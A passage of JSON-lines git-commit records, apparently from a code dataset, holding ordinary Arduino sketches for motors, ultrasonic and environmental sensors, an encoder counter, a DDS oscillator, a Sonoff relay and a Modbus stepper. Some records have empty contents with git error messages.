digitalWrite(motor[0][1], 0);\n digitalWrite(motor[0][2], 0);\n digitalWrite(motor[0][3], 1);\n break;\n\n default:\n digitalWrite(motor[0][0], 0);\n digitalWrite(motor[0][1], 0);\n digitalWrite(motor[0][2], 0);\n digitalWrite(motor[0][3], 0);\n break;\n\n }\n\n delay(1);\n\n if (++iGlobalStep >=8){ iGlobalStep = 0; }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'MotorLab\/MotorLab.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b7a9ed422498b2b86d9a5b2327c07721bb1b574e","subject":"Added Ultrasonic.ino sketch","message":"Added Ultrasonic.ino sketch\n","repos":"Grandbrain\/Ultrasonic,Grandbrain\/Ultrasonic","old_file":"Source\/Ultrasonic.ino","new_file":"Source\/Ultrasonic.ino","new_contents":"#include \"Arduino.h\"\n\nclass Ultrasonic\n{\npublic:\n \n Ultrasonic(int trig, int echo)\n {\n pinMode(trig, OUTPUT);\n pinMode(echo, INPUT);\n Trig = trig;\n Echo = echo;\n }\n \n long Timing()\n {\n digitalWrite(Trig, LOW);\n delayMicroseconds(2);\n digitalWrite(Trig, HIGH);\n delayMicroseconds(10);\n digitalWrite(Trig, LOW);\n long duration = pulseIn(Echo, HIGH);\n return duration;\n }\n \n long Ranging()\n {\n long duration = Timing();\n long distacne = duration \/ 29 \/ 2;\n return distacne;\n }\n\nprivate:\n\n int Trig;\n int Echo;\n};\n\nUltrasonic ultrasonic(9, 8);\n\nvoid setup()\n{\n Serial.begin(9600);\n}\n\nvoid loop()\n{\n int dist = ultrasonic.Ranging();\n if(dist > 2 && dist < 400){\n Serial.print(dist);\n Serial.print(\" \");\n delay(100);\n }\n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'Source\/Ultrasonic.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1032f6f8b9fecd059ab6305e92968aaf08f26202","subject":"Create template_home.ino","message":"Create template_home.ino\n\nVersion for first Watterott SenseBox Home Kit","repos":"mpfeil\/OpenSenseMap-API,mpfeil\/OpenSenseMap-API,sensebox\/OpenSenseMap-API,sensebox\/OpenSenseMap-API","old_file":"files\/template_home\/template_home.ino","new_file":"files\/template_home\/template_home.ino","new_contents":"\/*\nSenseBox Home - Citizen Sensingplatform\nVersion: 2.1\nDate: 2015-09-09\nHomepage: http:\/\/www.sensebox.de\nAuthor: Jan Wirwahn, Institute for Geoinformatics, University of Muenster\nNote: Sketch for SenseBox Home Kit\nEmail: support@sensebox.de \n*\/\n\n#include <Wire.h>\n#include \"HDC100X.h\"\n#include \"BMP280.h\"\n#include <Makerblog_TSL45315.h>\n#include <SPI.h>\n#include <Ethernet.h>\n\n\/\/SenseBox ID\n\n\/\/Sensor IDs\n\n\/\/Configure ethernet connection\nIPAddress myIp(192, 168, 0, 42);\nbyte mac[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nchar server[] = \"www.opensensemap.org\";\nEthernetClient client;\n\n\/\/Load sensors\nMakerblog_TSL45315 TSL = Makerblog_TSL45315(TSL45315_TIME_M4);\nHDC100X HDC(0x43);\nBMP280 BMP;\n\n\/\/measurement variables\nfloat temperature = 0;\nfloat humidity = 0;\ndouble tempBaro, pressure;\nuint32_t lux;\nuint16_t uv;\nint messTyp;\n#define UV_ADDR 0x38\n#define IT_1 0x1\n\nunsigned long oldTime = 0;\nconst unsigned long postingInterval = 10000;\n\nvoid setup() {\n \/\/ Open serial communications and wait for port to open:\n Serial.begin(9600);\n \/\/ start the Ethernet connection:\n Serial.println(\"SenseBox Home software version 2.1\");\n Serial.println();\n Serial.print(\"Starting ethernet connection...\");\n if (Ethernet.begin(mac) == 0) {\n Serial.println(\"Failed to configure Ethernet using DHCP\");\n Ethernet.begin(mac, myIp);\n }else Serial.println(\"done!\");\n delay(1000);\n \/\/Initialize sensors\n Serial.print(\"Initializing sensors...\");\n Wire.begin();\n Wire.beginTransmission(UV_ADDR);\n Wire.write((IT_1<<2) | 0x02);\n Wire.endTransmission();\n delay(500);\n HDC.begin(HDC100X_TEMP_HUMI,HDC100X_14BIT,HDC100X_14BIT,DISABLE);\n TSL.begin();\n BMP.begin();\n BMP.setOversampling(4);\n Serial.println(\"done!\");\n Serial.println(\"Starting loop.\");\n temperature = HDC.getTemp();\n Serial.println(temperature,2);\n}\n\nvoid loop()\n{\n \/\/ if there are incoming bytes available\n \/\/ from the server, read them and print them:\n if (client.available()) {\n char c = client.read();\n Serial.print(c);\n \/\/Serial.write(c);\n }\n\n if (millis() - oldTime > postingInterval) {\n oldTime = millis(); \n \/\/-----Pressure-----\/\/\n Serial.println(\"Posting pressure\");\n messTyp = 2;\n char result = BMP.startMeasurment();\n if(result!=0){\n delay(result);\n result = BMP.getTemperatureAndPressure(tempBaro,pressure);\n postObservation(pressure, PRESSURESENSOR_ID, SENSEBOX_ID); \n \/\/Serial.print(\"Temp_baro = \");Serial.println(tempBaro,2);\n \/\/Serial.print(\"Pressure = \");Serial.println(pressure,2);\n }\n delay(2000); \n \/\/-----Humidity-----\/\/\n Serial.println(\"Posting humidity\");\n messTyp = 2;\n humidity = HDC.getHumi();\n \/\/Serial.print(\"Humidity = \"); Serial.println(humidity);\n postObservation(humidity, HUMISENSOR_ID, SENSEBOX_ID); \n delay(2000);\n \/\/-----Temperature-----\/\/\n Serial.println(\"Posting temperature\");\n messTyp = 2;\n temperature = HDC.getTemp();\n \/\/Serial.println(temperature,2);\n \/\/Serial.print(\"Temperature = \");Serial.println(temperature);\n postObservation(temperature, TEMPSENSOR_ID, SENSEBOX_ID); \n delay(2000); \n \/\/-----Lux-----\/\/\n Serial.println(\"Posting illuminance\");\n messTyp = 1;\n lux = TSL.readLux();\n \/\/Serial.print(\"Illumi = \"); Serial.println(lux);\n postObservation(lux, LUXSENSOR_ID, SENSEBOX_ID);\n delay(2000);\n \/\/UV intensity\n messTyp = 1;\n uv = getUV();\n postObservation(uv, UVSENSOR_ID, SENSEBOX_ID);\n }\n}\n\nvoid postObservation(float measurement, String sensorId, String boxId){ \n char obs[10]; \n if (messTyp == 1) dtostrf(measurement, 5, 0, obs);\n else if (messTyp == 2) dtostrf(measurement, 5, 2, obs);\n Serial.println(obs); \n \/\/json must look like: {\"value\":\"12.5\"} \n \/\/post observation to: http:\/\/opensensemap.org:8000\/boxes\/boxId\/sensorId\n Serial.println(\"connecting...\"); \n String value = \"{\\\"value\\\":\"; \n value += obs; \n value += \"}\";\n if (client.connect(server, 8000)) \n {\n Serial.println(\"connected\"); \n \/\/ Make a HTTP Post request: \n client.print(\"POST \/boxes\/\"); \n client.print(boxId);\n client.print(\"\/\"); \n client.print(sensorId); \n client.println(\" HTTP\/1.1\"); \n \/\/ Send the required header parameters \n client.println(\"Host:opensensemap.org\"); \n client.println(\"Content-Type: application\/json\"); \n client.println(\"Connection: close\"); \n client.print(\"Content-Length: \"); \n client.println(value.length()); \n client.println(); \n \/\/ Send the data\n client.print(value); \n client.println(); \n } \n waitForResponse();\n}\n\nvoid waitForResponse()\n{ \n \/\/ if there are incoming bytes available \n \/\/ from the server, read them and print them: \n boolean repeat = true; \n do{ \n if (client.available()) \n { \n char c = client.read();\n Serial.print(c); \n } \n \/\/ if the servers disconnected, stop the client: \n if (!client.connected()) \n {\n Serial.println();\n Serial.println(\"disconnecting.\"); \n client.stop(); \n repeat = false; \n } \n }\n while (repeat);\n}\n\nuint16_t getUV(){\n byte msb=0, lsb=0;\n uint16_t uvValue;\n\n Wire.requestFrom(UV_ADDR+1, 1); \/\/MSB\n delay(1);\n if(Wire.available()) msb = Wire.read();\n\n Wire.requestFrom(UV_ADDR+0, 1); \/\/LSB\n delay(1);\n if(Wire.available()) lsb = Wire.read();\n\n uvValue = (msb<<8) | lsb;\n\n return uvValue*5;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'files\/template_home\/template_home.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e77f1504bd54f65cffcea6a787a98bfc4a1041be","subject":"Long Long Long is way to phylosophical for Arduino","message":"Long Long Long is way to phylosophical for Arduino\n","repos":"IrisEdelsmid\/arduinoFun","old_file":"Buddy\/tryouts\/LED's\/RemiLEDs\/RemiLEDs.ino","new_file":"Buddy\/tryouts\/LED's\/RemiLEDs\/RemiLEDs.ino","new_contents":"","old_contents":"","returncode":2,"stderr":"\/bin\/sh: 1: Syntax error: Unterminated quoted string\n","license":"mit","lang":"Arduino"} {"commit":"e3baaa621ff245e7f461efb7fbaca811a8de4b5b","subject":"Create quarterturn_nointerrupt.ino","message":"Create quarterturn_nointerrupt.ino","repos":"jdmgroup\/robotchemistry","old_file":"encoder\/quarterturn_nointerrupt.ino","new_file":"encoder\/quarterturn_nointerrupt.ino","new_contents":"\/*\n\n Encoder 1\/4 Turn Demo (Robot Chemistry 4.IS8)\n\n James H. Bannock and John C. de Mello\n\n Department of Chemistry,\n Imperial College London\n\n Version 1.02\n\n Created: Feb 2015\n Updated: Nov 2016\n\n Revisions: Increased commnenting and improved setup\n\n ---\n\n Requirements:\n \n Optical quadrature encoder with resolution of 500 counts per revolution attached to Arduino Pin 5.\n\n ---\n\n Timer Notes:\n\n Each timer has two 8-bit registers TCCRxA and TCCRxB which store the configurable setup. (TCCRnX = Timer\/Counter Control Register X for Timer n)).\n\n (All the following terms (such as TCCR1A etc.) are inbuilt macros (like the #define operation) and represent a number - either a register value or a counter value).\n \n Arduinos support multiple timers\/counters with varying resolutions.\n\n The Uno has three timers (Timer0, Timer1 and Timer2).\n\n Timer1 is a 16 bit timer (i.e. can support a counter value between 0 and 65535 (2^16-1)).\n\n (Timer0 and Timer2 are 8-bit timers and therefore only support a max. counter value of 255).\n\n TCNT1 (Timer\/Counter Register for Timer1) stores the current value of the counter.\n\n Here we use a simple implementation of the counter where TCNT1 stores the number of signals received from a quadrature optical encoder.\n\n To achieve this we set the timer\/counter to a configuration where the timer\/counter source is an external pin (the encoder), which is fixed on Pin5 for Timer1 on the Uno.\n\n Note that because we are using the hardware timer we do not need to write: pinMode(5, INPUT_PULLUP);\n\n The necessary configuration bits we need to setup the counter are in the TCCR1B register.\n\n We must set the Clock Select (CS) bits to either:\n\n - Falling-edge detection (5->0V): CS12 = CS11 = 1, CS10 = 0; or\n - Rising-edge detection (0->5V): CS12 = CS11 = CS10 = 1\n\n When TCNT1 reaches a value of 125 (=1\/4 turn on the motor for a 500 count encoder) an if-statement causes the LED on the Arduino to flash and we reset TCNT1 to 0.\n\n Note that this implementation avoids using an interrupt service routine (ISR) -> see equivalent example for interrupt version\n*\/\n\nvoid setup() {\n\n \/\/Serial.begin(9600);\n\n pinMode(13, OUTPUT); \/\/ activate the LED pin\n\n \/\/ switch off interrupts to avoid conflict while changing settings\n noInterrupts();\n\n \/\/ reset timer\/counter registers A and B.\n TCCR1A = 0;\n TCCR1B = 0;\n\n \/\/ set the counter to external Timer1 source Pin5 and configure for rising-edge detection.\n TCCR1B |= (1 << CS12); \/\/ set CS12 HIGH - bit 2 (4) - equally you could write TCCR1B |= 4;\n TCCR1B |= (1 << CS11); \/\/ set CS11 HIGH - bit 1 (2)\n TCCR1B |= (1 << CS10); \/\/ set CS10 HIGH - bit 0 (1)\n\n \/\/Serial.print(\"TCCR1B (in decimal): \");\n \/\/Serial.println(TCCR1B);\n \/\/Serial.print(\"TCCR1B (in binary): \");\n \/\/Serial.println(TCCR1B, BIN);\n\n \/\/TCCR1B &= ~(1 << CS12);\n\n \/\/Serial.print(\"TCCR1B: \");\n \/\/Serial.println(TCCR1B);\n\n \/*\n Nptes:\n\n X |= Y is shorthand for X = X OR Y (in binary this is effectively an addition operation).\n\n e.g. suppose X = 2 (B00000010) and Y = 4 (B00000100) then X |= Y would set X = B00000110 => 6\n\n Y |= (1 << X) is shorthand for setting bit X in byte Y to a value of 1, and equates to a decimal addition of 2^X.\n\n e.g. take line 73, CS12 = 2 so if Y = 0 intially then the operation has the effect of setting bit 2 to 1, which equates to a decimal value of 4 (2^2)\n\n Note that if you want to set bit X in byte Y to zero then the OR statement may not work if bit X is set at 1. \n \n (If you want to set bit X to zero then you can use: Y &= ~(1 << X), where & is an AND operation and ~ is a NOT operation, see commented limes 82-85)\n \n If you uncomment the Serial commands on lines 61 and 77-80 and upload to an Arduino you will see that TCCR1B = 7.\n\n This is because we sets bits 0 (value 2^0 = 1), 1 (value 2^1 = 2) and 2 (value 2^2 = 4) to 1, which sums to 7.\n *\/\n\n \/\/ switch on interrupts again\n interrupts();\n}\n\nvoid loop() {\n\n if (TCNT1 > 125) { \/\/ if counter has counted greater than 125 pulses\n digitalWrite(13, HIGH); \/\/ LED on\n delay(100); \/\/ wait a bit\n digitalWrite(13, LOW); \/\/ LED off\n TCNT1 = 0; \/\/ reset counter\n }\n\n delay(10); \/\/ wait a bit\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'encoder\/quarterturn_nointerrupt.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"99320b853f0faa88b8adc3a5196e9923b7f38d37","subject":"Code To Control the Arduino","message":"Code To Control the Arduino\n","repos":"STMU-IEEE\/Robotics-16-17,STMU-IEEE\/Robotics-16-17,STMU-IEEE\/Robotics-16-17","old_file":"Testing_Arduino101\/Testing_Arduino101.ino","new_file":"Testing_Arduino101\/Testing_Arduino101.ino","new_contents":"#include <NewPing.h>\n\n#define TRIGGER_PIN1 2\n#define ECHO_PIN1 4\n\n#define TRIGGER_PIN2 5\n#define ECHO_PIN2 6\n\n#define TRIGGER_PIN3 7\n#define ECHO_PIN3 8\n\n#define TRIGGER_PIN4 10\n#define ECHO_PIN4 13\n\n#define MAX_DISTANCE 200\n\n#define LED 13\n#define LMOTOR 9\n#define RMOTOR 3\n\nNewPing sonar1(TRIGGER_PIN1, ECHO_PIN1, MAX_DISTANCE);\nNewPing sonar2(TRIGGER_PIN2, ECHO_PIN2, MAX_DISTANCE);\nNewPing sonar3(TRIGGER_PIN3, ECHO_PIN3, MAX_DISTANCE);\nNewPing sonar4(TRIGGER_PIN4, ECHO_PIN4, MAX_DISTANCE);\n\nchar input;\nint conInput;\n\n\nvoid setup() {\n Serial.begin(9600); \/\/ opens serial port, sets data rate to 9600 bps\n pinMode(LED, OUTPUT);\n}\n\nvoid loop() {\n\n \/\/ send data only when you receive data:\n if (Serial.available() > 0) {\n \/\/ read the incoming byte:\n input = Serial.read(); \/\/single character\n \n Serial.print(\"I received as a char: \");\n Serial.println(input);\n\n switch(input){\n case '0':\n led_off();\n break;\n case '1':\n led_on();\n break;\n case 'f':\n move_foward();\n break;\n case 's':\n stop_motor();\n break;\n case 'u':\n us_sensor();\n default:\n break;\n }\n }\n}\nvoid led_on(){\n digitalWrite(LED, HIGH);\n \n}\nvoid led_off(){\n digitalWrite(LED, LOW);\n}\nvoid move_foward(){\n digitalWrite(LMOTOR, HIGH);\n digitalWrite(RMOTOR, HIGH);\n}\nvoid stop_motor(){\n digitalWrite(LMOTOR, LOW);\n digitalWrite(RMOTOR, LOW);\n}\nvoid us_sensor(){\n delay(50);\n \n Serial.print(\"Sensor 1: \");\n Serial.print(sonar1.ping_cm());\n \n Serial.print(\"Sensor 2: \");\n Serial.print(sonar2.ping_cm());\n \n Serial.print(\"Sensor 3: \");\n Serial.print(sonar3.ping_cm());\n \n Serial.print(\"Sensor 4: \");\n Serial.print(sonar4.ping_cm());\n \n delay(50);\n \n}\n \n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Testing_Arduino101\/Testing_Arduino101.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"52c94c4ba1493eabe4e459c3cb540330fa811287","subject":"oscillator+scope example","message":"oscillator+scope example\n","repos":"Sonoscopia\/KidModular,Sonoscopia\/KidModular","old_file":"examples\/OscillatorScope_example\/OscillatorScope_example.ino","new_file":"examples\/OscillatorScope_example\/OscillatorScope_example.ino","new_contents":"\/*\nKidModular - OSCILLATOR \nby Tiago Angelo (aka p1nho)\n\nBuilt with: \nArduino 1.0.5 (on Arduino MEGA2560)\nStripped out version of UTFT Library v.2.82 (12 Jul 2016) by Henning Karlsen\nAudio ouput using Direct Digital Synthesis method from an example by Martin Nawrath\n*\/\n\n\/************************************ INCLUDED LIBS & HEADERS ***********************************************\/\n#include \"avr\/pgmspace.h\"\n#include <UTFT.h>\n\/************************************ DEFINITIONS ***********************************************************\/\n\/\/ Audio\n\/\/ table of 256 sine values \/ one sine period \/ stored in flash memory\nPROGMEM prog_uchar sine256[] = {\n 127,130,133,136,139,143,146,149,152,155,158,161,164,167,170,173,176,178,181,184,187,190,192,195,198,200,203,205,208,210,212,215,217,219,221,223,225,227,229,231,233,234,236,238,239,240,\n 242,243,244,245,247,248,249,249,250,251,252,252,253,253,253,254,254,254,254,254,254,254,253,253,253,252,252,251,250,249,249,248,247,245,244,243,242,240,239,238,236,234,233,231,229,227,225,223,\n 221,219,217,215,212,210,208,205,203,200,198,195,192,190,187,184,181,178,176,173,170,167,164,161,158,155,152,149,146,143,139,136,133,130,127,124,121,118,115,111,108,105,102,99,96,93,90,87,84,81,78,\n 76,73,70,67,64,62,59,56,54,51,49,46,44,42,39,37,35,33,31,29,27,25,23,21,20,18,16,15,14,12,11,10,9,7,6,5,5,4,3,2,2,1,1,1,0,0,0,0,0,0,0,1,1,1,2,2,3,4,5,5,6,7,9,10,11,12,14,15,16,18,20,21,23,25,27,29,31,\n 33,35,37,39,42,44,46,49,51,54,56,59,62,64,67,70,73,76,78,81,84,87,90,93,96,99,102,105,108,111,115,118,121,124\n\n};\n#define cbi(sfr, bit) (_SFR_BYTE(sfr) &= ~_BV(bit))\n#define sbi(sfr, bit) (_SFR_BYTE(sfr) |= _BV(bit))\n\/\/ MEGA=pin10 UNO=pin11 \n#define AUDIOPIN 10\n\/\/ LCD\n#define WIDTH 479\n#define HEIGHT 319\n#define ZERO 0\n\/************************************ CLASS OBJECTS *********************************************************\/\n\/\/ LCD\nUTFT LCD(CTE32HR,38,39,40,41);\n\n\/************************************ VARIABLES *************************************************************\/\n\/\/ Audio\ndouble dfreq; \n\/\/ const double refclk=31372.549; \/\/ =16MHz \/ 510\nconst double refclk=31376.6; \/\/ measured\n\/\/ variables used inside interrupt service declared as voilatile\nvolatile byte icnt; \/\/ var inside interrupt\nvolatile byte icnt1; \/\/ var inside interrupt\nvolatile byte c4ms; \/\/ counter incremented all 4ms\nvolatile unsigned long phaccu; \/\/ pahse accumulator\nvolatile unsigned long tword_m; \/\/ dds tuning word m\n\n\/\/ LCD - Scope\nuint8_t bufSize = 8;\nuint8_t sig;\nuint16_t x, y, _y = 0; \/\/ x-y and previous positions\nfloat head = 0; \/\/ head to read buffer\nfloat sfreq; \/\/ scope frequency display \n\/************************************ SETUP *****************************************************************\/\nvoid setup()\n{\n \/\/ LCD setup - uses delay() and therefore must go before any interrupts\n LCD.InitLCD();\n LCD.fillScr(VGA_BLACK);\n LCD.setColor(VGA_GREEN);\n\n \/\/ Audio setup\n pinMode(AUDIOPIN, OUTPUT); \/\/ output \/ frequency output\n Setup_timer2();\n \/\/ disable interrupts to avoid timing distortion\n cbi (TIMSK0,TOIE0); \/\/ disable Timer0 !!! delay() is now not available\n sbi (TIMSK2,TOIE2); \/\/ enable Timer2 Interrupt\n dfreq=1000.0; \/\/ initial output frequency = 1000.o Hz\n tword_m=pow(2,32)*dfreq\/refclk; \/\/ calulate DDS new tuning word \n}\n\n\/************************************ LOOP ******************************************************************\/\nvoid loop()\n{\n \/\/ Audio\n while(1) {\n drawBuffer();\n if (c4ms > 250) { \/\/ timer \/ wait for a full second\n c4ms=0;\n dfreq=analogRead(0); \/\/ read Poti on analog pin 0 to adjust output frequency from 0..1023 Hz\n\n cbi (TIMSK2,TOIE2); \/\/ disble Timer2 Interrupt\n tword_m=pow(2,32)*dfreq\/refclk; \/\/ calulate DDS new tuning word\n sbi (TIMSK2,TOIE2); \/\/ enable Timer2 Interrupt \n }\n }\n}\nvoid drawBuffer(){\n \/\/ Draw buffer according to frequency\n \/\/clear\n LCD.setColor(VGA_BLACK);\n LCD.drawLine(x, ZERO, x, HEIGHT);\n \/\/ draw signal\n head+= dfreq\/110;\n if(head > 255) head = 0;\n y = 250 - pgm_read_byte_near(sine256 + (int)head) * 0.75; \n LCD.setColor(VGA_WHITE);\n if(x > 0) LCD.drawLine(x-1,_y, x, y);\n _y = y;\n\n \/\/ reset\n if(x++ > WIDTH) {\n x=ZERO;\n }\n}\n\/*\nvoid drawScope(){\n \/\/ Draw Scope\n \/\/clear\n LCD.setColor(VGA_BLACK);\n LCD.drawLine(x, ZERO, x, HEIGHT);\n if(x % bufSize == 0){ \/\/ draw signal\n y = 250-(sig*0.75);\n LCD.setColor(VGA_WHITE);\n LCD.drawLine(x-bufSize-1,_y, x, y);\n _y = y;\n }\n \/\/ reset\n if(x++ > WIDTH) {\n x=ZERO;\n }\n}\n*\/\n\/************************************ AUDIO FUNCTIONS *******************************************************\/\n\/\/ timer2 setup\n\/\/ set prscaler to 1, PWM mode to phase correct PWM, 16000000\/510 = 31372.55 Hz clock\nvoid Setup_timer2() {\n\n\/\/ Timer2 Clock Prescaler to : 1\n sbi (TCCR2B, CS20);\n cbi (TCCR2B, CS21);\n cbi (TCCR2B, CS22);\n\n \/\/ Timer2 PWM Mode set to Phase Correct PWM\n cbi (TCCR2A, COM2A0); \/\/ clear Compare Match\n sbi (TCCR2A, COM2A1);\n\n sbi (TCCR2A, WGM20); \/\/ Mode 1 \/ Phase Correct PWM\n cbi (TCCR2A, WGM21);\n cbi (TCCR2B, WGM22);\n}\n\n\/\/ Timer2 Interrupt Service at 31372,550 KHz = 32uSec\n\/\/ this is the timebase REFCLOCK for the DDS generator\n\/\/ FOUT = (M (REFCLK)) \/ (2 exp 32)\n\/\/ runtime : 8 microseconds ( inclusive push and pop)\nISR(TIMER2_OVF_vect) {\n phaccu=phaccu+tword_m; \/\/ soft DDS, phase accu with 32 bits\n icnt=phaccu >> 24; \/\/ use upper 8 bits for phase accu as frequency information\n \/\/ read value fron ROM sine table and send to PWM DAC\n OCR2A = pgm_read_byte_near(sine256 + icnt);\n sig = OCR2A; \n \n if(icnt1++ == 125) { \/\/ increment variable c4ms all 4 milliseconds\n c4ms++;\n icnt1=0;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/OscillatorScope_example\/OscillatorScope_example.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0ad6966e94a3e7c73894a97980ce57a30d582358","subject":"added Sonoff S20 EU plug","message":"added Sonoff S20 EU plug\n","repos":"derlucas\/homie-sonoff,derlucas\/homie-sonoff","old_file":"sonoff-homie-s20\/sonoff-homie-s20.ino","new_file":"sonoff-homie-s20\/sonoff-homie-s20.ino","new_contents":"#include <Homie.h>\n\n#define PIN_LED 13 \/\/ PIN 12 \/ HSPI_MOSI; UART0_CTS MTCK\n#define PIN_RELAY 12 \/\/ PIN 10 \/ HSPI_MISO MTDI\n#define PIN_BUTTON 0\n\n#define BRAND \"sonoff-s20\"\n#define FW_NAME \"sonoff-s20\"\n#define FW_VERSION \"1.0.0\"\n\nunsigned long buttonDownTime = 0;\nbyte lastButtonState = 1;\nbyte buttonPressHandled = 0;\n\nHomieNode relayNode(\"switch\", \"switch\");\n\nbool relayHandler(const HomieRange& range, const String& value) {\n if (value != \"true\" && value != \"false\") return false;\n\n bool on = (value == \"true\");\n digitalWrite(PIN_RELAY, on ? HIGH : LOW);\n relayNode.setProperty(\"on\").send(value);\n Homie.getLogger() << \"switch is \" << (on ? \"on\" : \"off\") << endl;\n\n return true;\n}\n\nvoid toggleRelay() {\n bool on = digitalRead(PIN_RELAY) == HIGH;\n digitalWrite(PIN_RELAY, on ? LOW : HIGH);\n relayNode.setProperty(\"on\").send(on ? \"false\" : \"true\");\n Homie.getLogger() << \"Switch is \" << (on ? \"off\" : \"on\") << endl;\n}\n\nvoid loopHandler() {\n byte buttonState = digitalRead(PIN_BUTTON);\n if ( buttonState != lastButtonState ) {\n if (buttonState == LOW) {\n buttonDownTime = millis();\n buttonPressHandled = 0;\n }\n else {\n unsigned long dt = millis() - buttonDownTime;\n if ( dt >= 90 && dt <= 900 && buttonPressHandled == 0 ) {\n toggleRelay();\n buttonPressHandled = 1;\n }\n }\n lastButtonState = buttonState;\n }\n}\n\nvoid setup() {\n Serial.begin(115200);\n Serial << endl << endl;\n \n pinMode(PIN_RELAY, OUTPUT);\n pinMode(PIN_BUTTON, INPUT_PULLUP);\n digitalWrite(PIN_RELAY, LOW);\n\n Homie_setFirmware(FW_NAME, FW_VERSION);\n Homie_setBrand(BRAND);\n relayNode.advertise(\"on\").settable(relayHandler);\n \n Homie.setLedPin(PIN_LED, LOW);\n Homie.setResetTrigger(PIN_BUTTON, LOW, 5000);\n Homie.setLoopFunction(loopHandler);\n Homie.setup();\n}\n\nvoid loop() {\n Homie.loop();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sonoff-homie-s20\/sonoff-homie-s20.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"9c31ba6dc531c7cd6f351fd0a34df87f553d247a","subject":"Arduinofilu lis\u00e4tty","message":"Arduinofilu lis\u00e4tty\n","repos":"teemune\/TestiRepomies,teemune\/TestiRepomies","old_file":"arduinosketsi\/arduinosketsi.ino","new_file":"arduinosketsi\/arduinosketsi.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/teemune\/TestiRepomies.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"7c4ccbb85c7649ce6d056a6ede3c8a5105ec0fa3","subject":"Create RS485_slave_stepperMotor.ino","message":"Create RS485_slave_stepperMotor.ino","repos":"pumanzor\/modbus,pumanzor\/modbus,pumanzor\/modbus","old_file":"cc\/RS485_slave_stepperMotor.ino","new_file":"cc\/RS485_slave_stepperMotor.ino","new_contents":"#include <SimpleModbusSlave.h>\n#include <AccelStepper.h>\n#include <Wire.h>\n#include \"rgb_lcd.h\"\n\n\n#define baud 38400\n#define timeout 1000\n#define polling 1000 \/\/ the scan rate\n#define retry_count 10\n\n\nint Distance = 0;\n\nrgb_lcd lcd;\n\nconst int colorR = 255;\nconst int colorG = 0;\nconst int colorB = 0;\n\n#define TxEnablePin 2\n#define LED 10\n\nenum \n{ \n \/\/ just add or remove registers and your good to go...\n \/\/ The first register starts at address 0\n ADC_VAL, \n PWM_VAL, \n HOLDING_REGS_SIZE \/\/ leave this one\n \/\/ total number of registers for function 3 and 16 share the same register array\n \/\/ i.e. the same address space\n};\n\nunsigned int holdingRegs[HOLDING_REGS_SIZE]; \/\/ function 3 and 16 register array\n\n AccelStepper stepper3(2, 8, 9); \nvoid setup()\n{Serial.begin(38400);\n\n\n\n modbus_configure(&Serial, 38400, SERIAL_8N2, 1, 2, HOLDING_REGS_SIZE, holdingRegs);\n\n \/\/ modbus_update_comms(baud, byteFormat, id) is not needed but allows for easy update of the\n \/\/ port variables and slave id dynamically in any function.\n modbus_update_comms(9600, SERIAL_8N2, 1);\n\n\n lcd.begin(16, 2);\n \n lcd.setRGB(colorR, colorG, colorB);\n \n \/\/ Print a message to the LCD.\n lcd.print(\"XYZ\");\n \n stepper3.setMaxSpeed(5600.0);\n stepper3.setAcceleration(8000.0);\n}\n\nvoid loop()\n{\n\n\n \n modbus_update();\n \n \/\/holdingRegs[ADC_VAL] = analogRead(A0); \/\/ update data to be read by the master to adjust the PWM\n \n \/\/analogWrite(LED, holdingRegs[1]);\n \n \n \/\/lcd.setCursor(5, 1);\n \/\/lcd.print(holdingRegs[1]); \n \nint value = holdingRegs[0]; \n \nif (value > 120)\n \n {int value1 = -abs(value\/10);\n lcd.setCursor(5, 0);\n lcd.print(value1); \n \nstepper3.moveTo(value1*12);\n stepper3.run();\n\n \n }\n else {\n \n lcd.setCursor(5, 0);\n lcd.print(holdingRegs[0]); \n \nstepper3.moveTo(holdingRegs[0]*25);\n stepper3.run();\n }\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'cc\/RS485_slave_stepperMotor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c3d1e523988b7c5780d13fc7cf4bd4bcdf57b01f","subject":"Doubled","message":"Doubled\n","repos":"HALtheWise\/arduino-temperature-logger,HALtheWise\/arduino-temperature-logger","old_file":"arduino code\/MeasureTemp\/MeasureTemp.ino","new_file":"arduino code\/MeasureTemp\/MeasureTemp.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino' did not match any file(s) known to git\nerror: pathspec 'code\/MeasureTemp\/MeasureTemp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8e7d5f3d7c268bbed0da3ad31f43dc7f96ec4593","subject":"do we understand it better if the SPI logging is better?","message":"do we understand it better if the SPI logging is better?\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/SPI.ino","new_file":"ArduinoClient\/SPI.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} 